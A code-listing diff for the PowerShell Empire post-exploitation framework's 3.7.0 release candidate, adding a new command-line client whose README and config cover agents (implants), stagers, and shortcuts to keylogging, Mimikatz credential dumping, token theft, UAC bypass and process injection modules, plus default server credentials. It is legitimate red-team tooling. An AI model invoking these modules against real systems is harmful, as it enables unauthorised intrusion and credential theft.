Codebase list powershell-empire / upstream/3.7.0_rc1
New upstream version 3.7.0~rc1 Sophie Brun 3 years ago
161 changed file(s) with 14754 addition(s) and 4164 deletion(s). Raw diff Collapse all Expand all
+0
-92
.dockerignore less more
0 # Git
1 .git
2 .gitignore
3
4 # CI
5 .codeclimate.yml
6 .travis.yml
7
8 # Docker
9 docker-compose.yml
10 .docker
11
12 # Byte-compiled / optimized / DLL files
13 __pycache__/
14 */__pycache__/
15 */*/__pycache__/
16 */*/*/__pycache__/
17 *.py[cod]
18 */*.py[cod]
19 */*/*.py[cod]
20 */*/*/*.py[cod]
21
22 # C extensions
23 *.so
24
25 # Distribution / packaging
26 .Python
27 env/
28 build/
29 develop-eggs/
30 dist/
31 downloads/
32 eggs/
33 # lib/
34 lib64/
35 parts/
36 sdist/
37 var/
38 *.egg-info/
39 .installed.cfg
40 *.egg
41
42 # PyInstaller
43 # Usually these files are written by a python script from a template
44 # before PyInstaller builds the exe, so as to inject date/other infos into it.
45 *.manifest
46 *.spec
47
48 # Installer logs
49 pip-log.txt
50 pip-delete-this-directory.txt
51
52 # Unit test / coverage reports
53 htmlcov/
54 .tox/
55 .coverage
56 .cache
57 nosetests.xml
58 coverage.xml
59
60 # Translations
61 *.mo
62 *.pot
63
64 # Django stuff:
65 *.log
66
67 # Sphinx documentation
68 docs/_build/
69
70 # PyBuilder
71 target/
72
73 # Virtual environment
74 .env/
75 .venv/
76 venv/
77
78 # PyCharm
79 .idea
80
81 # Python mode for VIM
82 .ropeproject
83 */.ropeproject
84 */*/.ropeproject
85 */*/*/.ropeproject
86
87 # Vim swap files
88 *.swp
89 */*.swp
90 */*/*.swp
91 */*/*/*.swp
+0
-30
.github/CONTRIBUTING.md less more
0 # How To Contribute
1
2 Contributions are more than welcome! The more people who contribute to the project the better Empire will be for everyone. Below are a few guidelines for submitting contributions.
3
4
5 ## Creating Github Issues
6
7 Please first review the existing Empire issues to see if the error was resolved with a fix in the development branch or if we chose not to fix the error for some reason.
8
9 The more information you provide in a Github issue the easier it will be for us to track down and fix the problem:
10
11 * Please provide the version of Empire you are using.
12 * Please provide the OS and Python versions that you are using.
13 * Please describe the expected behavior and the encountered error.
14 * The more detail the better!
15 * Include any actions taken just prior to the error.
16 * Please post a screenshot of the error, a link to a Pastebin dump of the error, or embedded text of the error.
17 * Any additional information.
18
19
20 ## Submitting Modules
21
22 * Submit pull requests to the [dev branch](https://github.com/powershellempire/Empire/tree/dev). After testing, changes will be merged to master.
23 * Base modules on the template at [./modules/template.py](https://github.com/PowerShellEmpire/Empire/blob/dev/lib/modules/template.py). **Note** that for some modules you may need to massage the output to get it into a nicely displayable text format [with Out-String](https://github.com/PowerShellEmpire/Empire/blob/0cbdb165a29e4a65ad8dddf03f6f0e36c33a7350/lib/modules/situational_awareness/network/powerview/get_user.py#L111).
24 * Cite previous work in the **'Comments'** module section.
25 * If your script.ps1 logic is large, may be reused by multiple modules, or is updated often, consider implementing the logic in the appropriate **data/module_source/*** directory and [pulling the script contents into the module on tasking](https://github.com/PowerShellEmpire/Empire/blob/0cbdb165a29e4a65ad8dddf03f6f0e36c33a7350/lib/modules/situational_awareness/network/powerview/get_user.py#L85-L95).
26 * Use [approved PowerShell verbs](https://technet.microsoft.com/en-us/library/ms714428(v=vs.85).aspx) for any functions.
27 * PowerShell Version 2 compatibility is **STRONGLY** preferred.
28 * TEST YOUR MODULE! Be sure to run it from an Empire agent before submitting a pull to ensure everything is working correctly.
29 * For additional guidelines for your PowerShell code itself, check out the [PowerSploit style guide](https://github.com/PowerShellMafia/PowerSploit/blob/master/README.md).
+0
-3
.github/FUNDING.yml less more
0 # These are supported funding model platforms
1
2 github: [bc-security]
+0
-35
.github/ISSUE_TEMPLATE/bug_report.md less more
0 ---
1 name: Bug report
2 about: Create a report to help us improve
3 title: "[BUG]"
4 labels: bug
5 assignees: ''
6
7 ---
8 __Note:__ Please fill out all sections (if applicable) and do not delete the below section headers, otherwise the bot will close the issue.
9
10 ## Empire Version
11 - Empire 3.x
12
13 ## OS Information (Linux flavor, Python version)
14 - OS:
15 - Python:
16
17 ## Describe the bug
18 A clear and concise description of what the bug is.
19
20 ## To Reproduce
21 Steps to reproduce the behavior:
22 1. Go to '...'
23 2. Click on '....'
24 3. Scroll down to '....'
25 4. See error
26
27 ## Expected behavior
28 A clear and concise description of what you expected to happen.
29
30 ## Screenshots
31 If applicable, add screenshots to help explain your problem.
32
33 ## Additional context
34 Add any other context about the problem here.
+0
-21
.github/ISSUE_TEMPLATE/feature_request.md less more
0 ---
1 name: Feature request
2 about: Suggest an idea for this project
3 title: "[FEATURE REQUEST]"
4 labels: enhancement
5 assignees: ''
6
7 ---
8 __Note:__ Please fill out all sections (if applicable) and do not delete the below section headers, otherwise the bot will close the issue.
9
10 ## Is your feature request related to a problem? Please describe.
11 A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
12
13 ## Describe the solution you'd like
14 A clear and concise description of what you want to happen.
15
16 ## Describe alternatives you've considered
17 A clear and concise description of any alternative solutions or features you've considered.
18
19 ## Additional context
20 Add any other context or screenshots about the feature request here.
+0
-1
.github/ISSUE_TEMPLATE.md less more
0 # Please fill out one of the templates on: https://github.com/BC-SECURITY/Empire/issues/new/choose or the issue will be closed.
+0
-34
.github/issue-close-app.yml less more
0 # Comment that will be sent if an issue is judged to be closed
1 comment: "This issue is closed because it does not meet our issue template. Please resubmit with the correct template."
2 issueConfigs:
3 # There can be several configs for different kind of issues.
4 - content:
5 # Example 1: bug report
6 - "Empire Version"
7 - "OS Information (Linux flavor, Python version)"
8 - "Describe the bug"
9 - "To Reproduce"
10 - "Expected behavior"
11 - "Screenshots"
12 - "Additional context"
13
14 - content:
15 # Example 2: feature request
16 - "Is your feature request related to a problem? Please describe."
17 - "Describe the solution you'd like"
18 - "Describe alternatives you've considered"
19 - "Additional context"
20
21 - content:
22 # Example 3: fall back
23 - "Empire Version"
24 - "OS Information (Linux flavor, Python version)"
25 - "Expected behavior and description of the error, including any actions taken immediately prior to the error. The more detail the better."
26 - "Screenshot of error, embedded text output, or Pastebin link to the error"
27 - "Any additional information"
28
29 # Optional configuration:
30 exception:
31 - "Cx01N"
32 - "Hubbl3"
33 - "vinnybod"
+0
-23
.github/workflows/dockerimage.yml less more
0 name: Docker Image CI
1
2 on:
3 push:
4 branches:
5 - master
6 - dev
7 release:
8 types: [published]
9
10 jobs:
11 build:
12 runs-on: ubuntu-latest
13 steps:
14 - uses: actions/checkout@v1
15 - name: Publish Docker
16 uses: elgohr/[email protected]
17 with:
18 name: bcsecurity/empire
19 username: ${{ secrets.DOCKER_USERNAME }}
20 password: ${{ secrets.DOCKER_PASSWORD }}
21 dockerfile: Dockerfile
22 tag_names: true
+0
-19
.github/workflows/wikisync.yml less more
0 name: Wiki Sync
1
2 on:
3 push:
4 branches:
5 - master
6
7 jobs:
8 update-wiki:
9 runs-on: ubuntu-latest
10 steps:
11 - uses: actions/checkout@master
12 - name: Sync Wiki
13 uses: joeizzard/action-wiki-sync@master
14 with:
15 username: Cx01N
16 access_token: ${{ secrets.GITHUB_TOKEN }}
17 wiki_folder: wiki
18 commit_username: 'Cx01N'
+0
-22
.gitignore less more
0 *.db
1 data/empire-chain.pem
2 data/empire-priv.key
3 data/credentials.csv
4 data/master.log
5 data/sessions.csv
6 data/obfuscated_module_source/*.ps1
7 data/misc/ToObfuscate.ps1
8 data/misc/Obfuscated.ps1
9 empire.debug
10 *.pyc
11 downloads/*
12 .vscode/*
13 .idea/*
14 *.txt
15 LastTask*
16 setup/xar*/
17 setup/bomutils/
18 .venv
19 .DS_Store
20 venv/
21 addons/
1111
1212 Keep up-to-date on our blog at [https://www.bc-security.org/blog][1]
1313
14 Check out the Empire GUI: [Starkiller](https://github.com/BC-SECURITY/Starkiller)
14 [Starkiller](https://github.com/BC-SECURITY/Starkiller) | [Empire CLI](https://github.com/BC-SECURITY/Empire-Cli)
15
1516 # Empire
1617 Empire 3 is a post-exploitation framework that includes a pure-PowerShell Windows agent, and compatibility with Python 3.x Linux/OS X agents. It is the merger of the previous PowerShell Empire and Python EmPyre projects. The framework offers cryptologically-secure communications and flexible architecture.
1718
2425
2526 Thank you to the original team of developers: [@harmj0y](https://twitter.com/harmj0y), [@sixdub](https://twitter.com/sixdub), [@enigma0x3](https://twitter.com/enigma0x3), [@rvrsh3ll](https://twitter.com/424f424f), [@killswitch_gui](https://twitter.com/killswitch_gui), & [@xorrior](https://twitter.com/xorrior)
2627
28 ## Sponsors
29 [<img src="https://user-images.githubusercontent.com/20302208/104083160-41552780-51f1-11eb-8428-3b8cfaf76861.png" width="300"/>](https://www.kali.org/)
30
2731 ## Release Notes
2832 As of Empire 3.1, we will no longer be actively supporting the Python 2.7 base code. If you wish to continue to leverage Python 2.7 then please use the [3.0.x Releases](https://github.com/BC-SECURITY/Empire/releases), since they were built to ensure backward compatibility.
2933
3034 Please see our [Releases](https://github.com/BC-SECURITY/Empire/releases) or [Changelog](/changelog) page for detailed release notes.
3135
3236 ## Install
37 We recommend the use of [Kali](https://www.kali.org/downloads/), [Poetry](https://python-poetry.org/docs/), or our [Docker images](https://hub.docker.com/r/bcsecurity/empire) to run Empire.
38 Kali Linux users and [Direct Sponsors](https://github.com/sponsors/BC-SECURITY) will receive 30-day early access to new Empire and Starkiller features.
39
3340 The following operating systems have been tested for Empire compatibility. We will be unable to provide support for other OSs at this time. Consider using our [Prebuilt Docker containers](#Docker) which can run on any system.
3441 - Kali Linux
3542 - Ubuntu
3643 - Debian
3744
38 __Note:__ Newer versions of Kali require you to run ```sudo``` before starting Empire.
39
40 Beginning with Empire 3.5.0, we recommend the use of [Poetry](https://python-poetry.org/docs/) or the Docker images to run Empire. Poetry is a dependency and virtual environment management tool.
41 This is highly recommended if using the SocketIO notification feature introduced in 3.5.0. To install Poetry, please follow the installation guide in the documentation or run `sudo pip3 install poetry`.
42
43 ```sh
44 git clone https://github.com/BC-SECURITY/Empire.git
45 cd Empire
46 sudo ./setup/install.sh
47 sudo poetry install
48 sudo poetry run python empire --rest -n
49 ```
50
5145 ### Kali
52
5346 You can install the latest version of Empire by running the following:
5447
5548 ```sh
5649 sudo apt install powershell-empire
50 sudo powershell-empire
5751 ```
5852
53 __Note:__ Newer versions of Kali require you to run ```sudo``` before starting Empire.
54
55
5956 ### Github
57 Poetry is a dependency and virtual environment management tool. This is highly recommended if using the SocketIO notification feature introduced in 3.5.0. To install Poetry, please follow the installation guide in the documentation or run `sudo pip3 install poetry`.
58
6059 To install and run:
61
6260 ```sh
63 git clone https://github.com/BC-SECURITY/Empire.git
61 git clone --recursive https://github.com/BC-SECURITY/Empire.git
6462 cd Empire
6563 sudo ./setup/install.sh
64 sudo poetry install
65 sudo poetry run python empire
6666 ```
6767
6868
8787 * All github tagged releases will be deployed using their version numbers (v3.0.0, v3.1.0, etc)
8888
8989 ## Quickstart
90
9190 Check out the [Empire wiki](https://github.com/BC-SECURITY/Empire/wiki/Quickstart) for instructions on getting started with Empire.
9291
9392 ## Plugins
0 3.6.3
0 3.7.0
0 1/18/2021
1 ------------
2 - Version 3.7.0 Master Release
3 - Revamped backend database from SQL to SQLAlchemy (@Cx01N, @Vinnybod)
4 - Added new Empire CLI to packaging (@Vinnybod)
5 - Added malleable C2 profiles to empire directory: /data/profiles (@Cx01N)
6 - Added --teamserver option to launcher (@Cx01N)
7 - Added support for logging into Empire from multiple locations (@Vinnybod)
8 - Added Invoke-WireTap (@Cx01N)
9 - Added Invoke-SauronEye (@Cx01N)
10 - Added Invoke-SharpLoginPrompt (@Cx01N)
11 - Fixed OneDrive Listener with new database (@Cx01N)
12 - Removed need to run setup database script (@Vinnybod)
13
014 12/18/2020
115 ------------
216 - Version 3.6.3 Master Release
0 # These are supported funding model platforms
1
2 github: [bc-security]
0 .idea/
1 __pycache__/
2 workspace.xml
3 generated-stagers/
0 **This code is in a beta state. There may be bugs and major changes before a full release.
1 Please provide feedback and bugs in the [issues](https://github.com/BC-SECURITY/Empire-Cli/issues) or in our Discord**
2
3 Empire-Cli
4 =============================
5 The new Empire CLI is a python command-line application written using [python-prompt-toolkit](https://github.com/prompt-toolkit/python-prompt-toolkit).
6 It provides many enhancements over the current CLI including:
7 * Support for multiple users at a time
8 * Custom agent shortcuts
9 * Enhanced autocomplete
10 * An interactive agent shell
11
12 - [Install and Run](#install-and-run)
13 - [Configuration](#configuration)
14 - [Usage](#usage)
15 - [Main Menu](#main-menu)
16 - [Admin Menu](#admin-menu)
17 - [Listener Menu](#listener-menu)
18 - [Use Listener Menu](#use-listener-menu)
19 - [Use Stager Menu](#use-stager-menu)
20 - [Plugin Menu](#plugin-menu)
21 - [Use Plugin Menu](#use-plugin-menu)
22
23 ----------------------------------
24
25 ## Install and Run
26 We recommend the use of [Poetry](https://python-poetry.org/docs/) for installing and running this project.
27 In the future, it will most likely be packaged in the main Empire repository.
28 ```shell script
29 poetry install
30 poetry run python main.py
31 ```
32
33 ## Configuration
34 The Empire-Cli configuration is managed via [config.yaml](./config.yaml).
35
36 - **servers** - The servers block is meant to give the user the ability to set up frequently used Empire servers.
37 If a server is listed in this block then when connecting to the server they need only type: `connect -c localhost`.
38 This tells Empire-Cli to use the connection info for the server named localhost from the yaml. In addition, if autoconnect is set to `True`, the Cli will automatically connect to that server when starting up.
39 ```yaml
40 servers:
41 localhost:
42 host: https://localhost
43 port: 1337
44 socketport: 5000
45 username: empireadmin
46 password: password123
47 autoconnect: true
48 ```
49 - **suppress-self-cert-warning** - Suppress the http warnings when connecting to an Empire instance that uses a self-signed cert
50 - **shortcuts** - Shortcuts defined here allow the user to define their own frequently used modules and assign a command to them.
51 Let's look at 3 distinct examples. All of which can be found in the default [config.yaml](./config.yaml)
52 ```yaml
53 shortcuts:
54 powershell:
55 sherlock:
56 module: powershell/privesc/sherlock
57 ```
58 This first example is the simplest example. It adds a `sherlock` command to the Interact menu for Powershell agents. It does not pass any specific parameters.
59
60 ```yaml
61 shortcuts:
62 powershell:
63 keylog:
64 module: powershell/collection/keylogger
65 params:
66 - name: Sleep
67 value: 1
68 ```
69 This next one is slightly more complex in that we are telling the shortcut to set the *Sleep* parameter to 1.
70 Note that if there are any other parameters for this module that we don't define, it will use whatever the default value is.
71
72 ```yaml
73 shortcuts:
74 powershell:
75 bypassuac:
76 module: powershell/privesc/bypassuac_eventvwr
77 params:
78 - name: Listener
79 dynamic: true
80 ```
81 This third one gets a bit more complex. Instead of providing a `value` to the parameter, it is marked as `dynamic`.
82 This tells the CLI that it expects the user to send the parameters as part of their command. In other words the user needs to type `bypassuac http1` in order for this to execute.
83 The parameters are passed in the order they are defined in config.yaml. There are some convenient autocompletes if the field is named `Listener` or `Agent`.
84
85 ```yaml
86 shortcuts:
87 powershell:
88 whoami:
89 shell: whoami
90 ```
91 The last one is much more simple. Instead of running a module, we run a shell command.
92
93 - **resource-file** - A resource file as simply a text file with a list of commands to run in order.
94 An example txt is shown below
95 ```yaml
96 resource-file: commands.txt
97
98 # commands.txt
99 listeners
100 uselistener http
101 set Port 999
102 execute
103 ```
104
105 ### Usage
106
107 #### Main Menu
108 When first loading Empire-Cli, the user will be dropped into the main menu. The only command available is `connect`.
109 The "short way" to connect is to load the server into config.yaml and call it like `connect -c localhost`.
110 The "long way" to connect is to provide the host, port, username, password as parameters... todo.
111
112 ![empirecli_splashpage](https://user-images.githubusercontent.com/20302208/100279434-603a7b80-2f1b-11eb-880e-4450ac5d2e62.jpg)
113
114 #### Admin Menu
115 The admin menu is an administrative menu which gives the team server admin the options to manage users and server options.
116 The admin menu can be accessed by typing `admin` into the console. Once on this page, the admin can add/remove users from
117 the team server and can modify the types of obfuscation the agents will use.
118
119 Regular users will not be able to modify settings, but will have access to accessing the notes features. Notes allow users
120 to record information within their session and have them stored on the server. They can access their notes from any session
121 once they are sent to the server.
122
123 ![empirecli_admin](https://user-images.githubusercontent.com/20302208/100279600-b5768d00-2f1b-11eb-8096-cebda7597f1b.jpg)
124
125 #### Listener Menu
126 The listener menu gives an overview list of all active listeners. A listener can be killed by typing the command `kill <listener_name>`.
127
128 #### Use Listener Menu
129 The listener commands include:
130
131 - View the listener info: `info`
132 - Set listener settings: `set <listener_option>`
133 - Execute/generate the current listener: `execute`
134
135 ![listeners](https://user-images.githubusercontent.com/20302208/100279698-e951b280-2f1b-11eb-947a-b5f162f04b17.jpg)
136
137 #### Use Stager Menu
138 Empire implements various stagers in a modular format in ./lib/stagers/*. These include DLLs, macros, one-liners,
139 and more. To use a stager type `usestager <stager_name>` or tap tab-complete to select an available stager. The stager
140 commands include:
141
142 - View the stager info: `info`
143 - Set stager settings: `set <stager_option>`
144 - Execute/generate the current stager: `execute`
145
146 ![usestager](https://user-images.githubusercontent.com/20302208/100279741-fbcbec00-2f1b-11eb-9a3a-bac5e9a9716c.jpg)
147
148 #### Plugin Menu
149 Plugins are an extension of Empire that allow for custom scripts to be loaded. This allows anyone to easily build or
150 add community projects to extend Empire functionality. Plugins can be accessed from the Empire CLI as long
151 as the plugin follows the [template example](./plugins/example.py). A list of Empire Plugins is located
152 [here](plugins/PLUGINS.md).
153
154 The Plugins Menu, is displays all of the currently loaded plugins available to the user. You will then need to call
155 `useplugin` to be able to access the functionality of a plugin.
156
157 ![empirecli_plugins](https://user-images.githubusercontent.com/20302208/100279849-228a2280-2f1c-11eb-989e-df8812cefdb8.jpg)
158
159 #### Use Plugin Menu
160 Interacting with plugins will look very similar to you interact with modules. You will type `useplugin <plugi_name>`
161 to load a specific plugin. Next, you can edit the options using the `set` command. Once you are done, `execute` will
162 launch the plugin's functionality.
163
164 ![useplugin](https://user-images.githubusercontent.com/20302208/100279824-17cf8d80-2f1c-11eb-963e-b0940bdd4107.jpg)
165
166 #### Agent Menu
167 Agents are Empire's implants that are used to interact and assign tasks and collect information. A list of active agents
168 is displayed when entering this page and highlghts active agents green and stale agents red. From this menu, you can
169 kill, remove, rename, and clear an agent using their respective commands.
170
171 ![agents](https://user-images.githubusercontent.com/20302208/100279870-2ddd4e00-2f1c-11eb-9431-c1ba796af721.jpg)
172
173 #### Interact Menu
174 Interacting with an agent is how operators manage their implants. Usemodule is accessible from inside an agent and will prepopulate the agent in the options. The interactive shell menu can be accessed by typing `shell`, or you can run a command directly by `shell <command>`. Other options are downloading and uploading files, managing agent comms, and agent configurations.
175
176 ![interact](https://user-images.githubusercontent.com/20302208/100279892-33d32f00-2f1c-11eb-9046-1822c222e5e7.jpg)
177
178 #### Shell Menu
179 The interactive shell menu opens a shell-like environment for an agent that gives the look/feel of a real shell session.
180 This window includes the current working directory being displayed to the user. All commands will be sent to the agent
181 and returned to the interactive shell window. To run the interactive shell, just type `shell` inside of any agent and
182 to exit the shell session, type `exit` to return to the agent.
183
184 ![interactiveshell](https://user-images.githubusercontent.com/20302208/100279910-3a61a680-2f1c-11eb-9215-0b0e2ad17e2a.jpg)
185
186 #### Credential Menu
187 Empire will attempt to parse standard Mimikatz outputs and keep them in an internal credential store. Credentials can
188 be viewed from anywhere with the `credentials` command. The credential store can effectively operate as a golden and
189 silver ticket catalog generating the appropriate ticket on demand, storing passwords, and hashes. Credentials can be
190 added to the database by typing `add <domain> <username> <password>`.
191
192 ![credentials](https://user-images.githubusercontent.com/20302208/100279997-58c7a200-2f1c-11eb-9230-9becfb48bf9a.jpg)
193
194 #### Use Module Menu
195 Modules are containers for embedding programs into PowerShell and Python scripts.
196 This includes the following module categories:
197 - Code Execution
198 - Collection
199 - Credentials
200 - Lateral Movements
201 - Management
202 - Persistence
203 - Privilege Escalation
204 - Situational Awareness
205 - Trollsploit
206
207 ![usemodule](https://user-images.githubusercontent.com/20302208/100280026-611fdd00-2f1c-11eb-8a9f-52df3540e112.jpg)
208
209 #### Chat Menu
210 The chat menu interacts with the chat server in Empire. This allows users to drop in and out of the chatroom by typing
211 `chat`. The 20 most recent messages will be displayed when you login to the room. When you are ready to return to your
212 previous task,type `back` and you return to your previous menu.
213
214 ![empirecli_chat](https://user-images.githubusercontent.com/20302208/100280043-6846eb00-2f1c-11eb-9e61-4e2c54ca180e.jpg)
215
(New empty file)
0 suppress-self-cert-warning: true
1 servers:
2 localhost:
3 host: https://localhost
4 port: 1337
5 socketport: 5000
6 username: empireadmin
7 password: password123
8 autoconnect: true
9 other-server:
10 host: https://localhost
11 port: 1337
12 socketport: 5000
13 username: empireadmin
14 password: password123
15 another-one:
16 host: https://localhost
17 port: 1337
18 socketport: 5000
19 username: empireadmin
20 password: password123
21 shortcuts:
22 # Params can be a list like
23 # params:
24 # - name: ratio
25 # value: 80
26 # - name: location
27 # value: /tmp
28 # - name: listener
29 # dynamic: true
30 # If a value is provided, it is static values.
31 # If dynamic is set to true, then you will provide the parameter
32 # when calling the shortcut in the order they appear like 'sc http1'
33 # Because order matters, we use a sequence instead of a map
34 powershell:
35 whoami:
36 shell: whoami
37 ps:
38 shell: ps
39 sc:
40 module: powershell/collection/screenshot
41 params:
42 - name: Ratio
43 value: 80
44 keylog:
45 module: powershell/collection/keylogger
46 params:
47 - name: Sleep
48 value: 1
49 sherlock:
50 module: powershell/privesc/sherlock
51 mimikatz:
52 module: powershell/credentials/mimikatz/logonpasswords
53 psinject:
54 module: powershell/management/psinject
55 params:
56 - name: Listener
57 dynamic: true
58 - name: ProcId
59 dynamic: true
60 revtoself:
61 module: powershell/credentials/tokens
62 params:
63 - name: RevToSelf
64 value: true
65 shinject:
66 module: powershell/management/shinject
67 params:
68 - name: Listener
69 dynamic: true
70 - name: ProcId
71 dynamic: true
72 spawn:
73 module: powershell/management/spawn
74 params:
75 - name: Listener
76 dynamic: true
77 steal_token:
78 module: powershell/credentials/tokens
79 params:
80 - name: ImpersonateUser
81 value: true
82 - name: ProcessID
83 dynamic: true
84 bypassuac:
85 module: powershell/privesc/bypassuac_eventvwr
86 params:
87 - name: Listener
88 dynamic: true
89 python:
90 whoami:
91 shell: whoami
92 ps:
93 shell: ps
94 sc:
95 module: python/collection/osx/screenshot
96 params:
97 - name: SavePath
98 dynamic: true
99 keylog:
100 module: python/collection/osx/keylogger
101 params:
102 - name: LogFile
103 dynamic: true
0 import re
1 import shlex
2 import threading
3 import time
4 from typing import get_type_hints, Dict, Optional
5
6 import urllib3
7 from docopt import docopt
8 from prompt_toolkit import PromptSession, HTML
9 from prompt_toolkit.completion import Completer
10 from prompt_toolkit.history import InMemoryHistory
11 from prompt_toolkit.patch_stdout import patch_stdout
12
13 from src.EmpireCliConfig import empire_config
14 from src.EmpireCliState import state
15 from src.MenuState import menu_state
16 from src.ShortcutHandler import shortcut_handler
17 from src.bindings import bindings
18 from src.menus import Menu
19 from src.menus.AdminMenu import admin_menu
20 from src.menus.AgentMenu import agent_menu
21 from src.menus.ChatMenu import chat_menu
22 from src.menus.CredentialMenu import credential_menu
23 from src.menus.InteractMenu import interact_menu
24 from src.menus.ListenerMenu import listener_menu
25 from src.menus.MainMenu import main_menu
26 from src.menus.PluginMenu import plugin_menu
27 from src.menus.ShellMenu import shell_menu
28 from src.menus.UseListenerMenu import use_listener_menu
29 from src.menus.UseModuleMenu import use_module_menu
30 from src.menus.UsePluginMenu import use_plugin_menu
31 from src.menus.UseStagerMenu import use_stager_menu
32 from src.utils import print_util
33
34
35 class MyCustomCompleter(Completer):
36 def __init__(self, empire_cli):
37 self.empire_cli = empire_cli
38
39 def get_completions(self, document, complete_event):
40 word_before_cursor = document.get_word_before_cursor(WORD=True)
41
42 try:
43 cmd_line = list(map(lambda s: s.lower(), shlex.split(document.current_line)))
44 if len(cmd_line) == 0:
45 cmd_line.append('')
46 except ValueError:
47 pass
48 else:
49 if not state.connected:
50 yield from self.empire_cli.menus['MainMenu'].get_completions(document, complete_event, cmd_line,
51 word_before_cursor)
52 # These commands should be accessible anywhere.
53 elif cmd_line[0] in ['uselistener']:
54 yield from self.empire_cli.menus['UseListenerMenu'].get_completions(document, complete_event, cmd_line,
55 word_before_cursor)
56 elif cmd_line[0] in ['usestager']:
57 yield from self.empire_cli.menus['UseStagerMenu'].get_completions(document, complete_event, cmd_line,
58 word_before_cursor)
59 elif cmd_line[0] in ['usemodule']:
60 yield from self.empire_cli.menus['UseModuleMenu'].get_completions(document, complete_event, cmd_line,
61 word_before_cursor)
62 elif cmd_line[0] in ['interact']:
63 yield from self.empire_cli.menus['InteractMenu'].get_completions(document, complete_event, cmd_line,
64 word_before_cursor)
65 elif cmd_line[0] in ['useplugin']:
66 yield from self.empire_cli.menus['UsePluginMenu'].get_completions(document, complete_event, cmd_line,
67 word_before_cursor)
68 else:
69 # Menu specific commands
70 yield from menu_state.current_menu.get_completions(document, complete_event, cmd_line,
71 word_before_cursor)
72
73
74 class CliExitException(BaseException):
75 pass
76
77
78 class EmpireCli(object):
79 def __init__(self) -> None:
80 self.completer = MyCustomCompleter(self)
81 self.menus: Dict[Menu] = {
82 'MainMenu': main_menu,
83 'ListenerMenu': listener_menu,
84 'UseListenerMenu': use_listener_menu,
85 'UseStagerMenu': use_stager_menu,
86 'AgentMenu': agent_menu,
87 'UseModuleMenu': use_module_menu,
88 'InteractMenu': interact_menu,
89 'ShellMenu': shell_menu,
90 'CredentialMenu': credential_menu,
91 'PluginMenu': plugin_menu,
92 'UsePluginMenu': use_plugin_menu,
93 'AdminMenu': admin_menu,
94 'ChatMenu': chat_menu
95 }
96 for menu in self.menus.values():
97 state.register_menu(menu)
98
99 @staticmethod
100 def bottom_toolbar():
101 if state.connected:
102 return HTML(f'Connected to {state.host}:{state.port}. {len(state.agents)} agents. {len(chat_menu.chat_cache)} unread messages.')
103 else:
104 return ''
105
106 @staticmethod
107 def strip(options):
108 return {re.sub('[^A-Za-z0-9 _]+', '', k): v for k, v in options.items()}
109
110 @staticmethod
111 def get_autoconnect_server() -> Optional[str]:
112 """
113 Looks for a server in the yaml marked for autoconnect.
114 If one is not found, returns None
115 :return: the name of the server to autoconnect
116 """
117 servers = empire_config.yaml.get('servers', {})
118 autoserver = list(filter(lambda x: x[1].get('autoconnect') is True, servers.items()))
119
120 if len(autoserver) > 0:
121 return autoserver[0][0]
122
123 return None
124
125 @staticmethod
126 def update_in_bg(session: PromptSession):
127 while True:
128 time.sleep(2)
129 session.message = HTML(menu_state.current_menu.get_prompt())
130 session.app.invalidate()
131
132 def main(self):
133 if empire_config.yaml.get('suppress-self-cert-warning', True):
134 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
135
136 # Create some history first. (Easy for testing.)
137 history = InMemoryHistory()
138 history.append_string("help")
139 history.append_string('uselistener http')
140 history.append_string('listeners')
141 history.append_string("main")
142 history.append_string("connect -c localhost")
143
144 print_util.loading()
145 print("\n")
146 print("Use the 'connect' command to connect to your Empire server.")
147 print("'connect -c localhost' will connect to a local empire instance with all the defaults")
148 print("including the default username and password.")
149
150 session = PromptSession(
151 key_bindings=bindings,
152 history=history,
153 # auto_suggest=AutoSuggestFromHistory(),
154 # enable_history_search=True,
155 completer=self.completer,
156 complete_in_thread=True,
157 # complete_while_typing=True,
158 bottom_toolbar=self.bottom_toolbar,
159 # swap_light_and_dark_colors=True,
160 # mouse_support=True
161 )
162 t = threading.Thread(target=self.update_in_bg, args=[session])
163 t.daemon = True
164 t.start()
165
166 autoserver = self.get_autoconnect_server()
167 if autoserver:
168 print(print_util.color(f'[*] Attempting to connect to server: {autoserver}'))
169 self.menus['MainMenu'].connect(autoserver, config=True)
170
171 if empire_config.yaml.get('resource-file'):
172 with open(empire_config.yaml.get('resource-file')) as resource_file:
173 print(print_util.color(f"[*] Executing Resource File: {empire_config.yaml.get('resource-file')}"))
174 for cmd in resource_file:
175 with patch_stdout():
176 try:
177 time.sleep(1)
178 text = session.prompt(accept_default=True, default=cmd.strip())
179 cmd_line = list(shlex.split(text))
180 self.parse_command_line(text, cmd_line)
181 except Exception as e:
182 print(print_util.color(f'[*] Error parsing resource command: ', text))
183
184 while True:
185 try:
186 with patch_stdout():
187 text = session.prompt(HTML(menu_state.current_menu.get_prompt()), refresh_interval=None)
188 # cmd_line = list(map(lambda s: s.lower(), shlex.split(text)))
189 # TODO what to do about case sensitivity for parsing options.
190 cmd_line = list(shlex.split(text))
191 self.parse_command_line(text, cmd_line)
192 except KeyboardInterrupt:
193 print(print_util.color("[!] Type exit to quit"))
194 except EOFError:
195 break # Control-D pressed.
196 except CliExitException:
197 break
198
199 def parse_command_line(self, text: str, cmd_line: list[str]):
200 if len(cmd_line) == 0:
201 return
202 if not state.connected and not cmd_line[0] == 'connect':
203 if cmd_line[0] == 'exit':
204 choice = input(print_util.color("[>] Exit? [y/N] ", "red"))
205 if choice.lower() == "y":
206 raise CliExitException
207 else:
208 return
209 else:
210 return
211
212 # Switch Menus
213 if text == 'main':
214 print_util.title(state.empire_version, len(state.modules), len(state.listeners), len(state.agents))
215 menu_state.push(self.menus['MainMenu'])
216 elif text == 'listeners':
217 menu_state.push(self.menus['ListenerMenu'])
218 elif text == 'chat':
219 menu_state.push(self.menus['ChatMenu'])
220 elif menu_state.current_menu_name == 'ChatMenu':
221 menu_state.current_menu.send_chat(text)
222 elif text == 'agents':
223 menu_state.push(self.menus['AgentMenu'])
224 elif text == 'credentials':
225 menu_state.push(self.menus['CredentialMenu'])
226 elif text == 'plugins':
227 menu_state.push(self.menus['PluginMenu'])
228 elif text == 'admin':
229 menu_state.push(self.menus['AdminMenu'])
230 elif cmd_line[0] == 'uselistener' and len(cmd_line) > 1:
231 if cmd_line[1] in state.listener_types:
232 menu_state.push(self.menus['UseListenerMenu'], selected=cmd_line[1])
233 else:
234 print(f'No listener {cmd_line[1]}')
235 elif cmd_line[0] == 'usestager' and len(cmd_line) > 1:
236 if cmd_line[1] in state.stagers:
237 menu_state.push(self.menus['UseStagerMenu'], selected=cmd_line[1])
238 else:
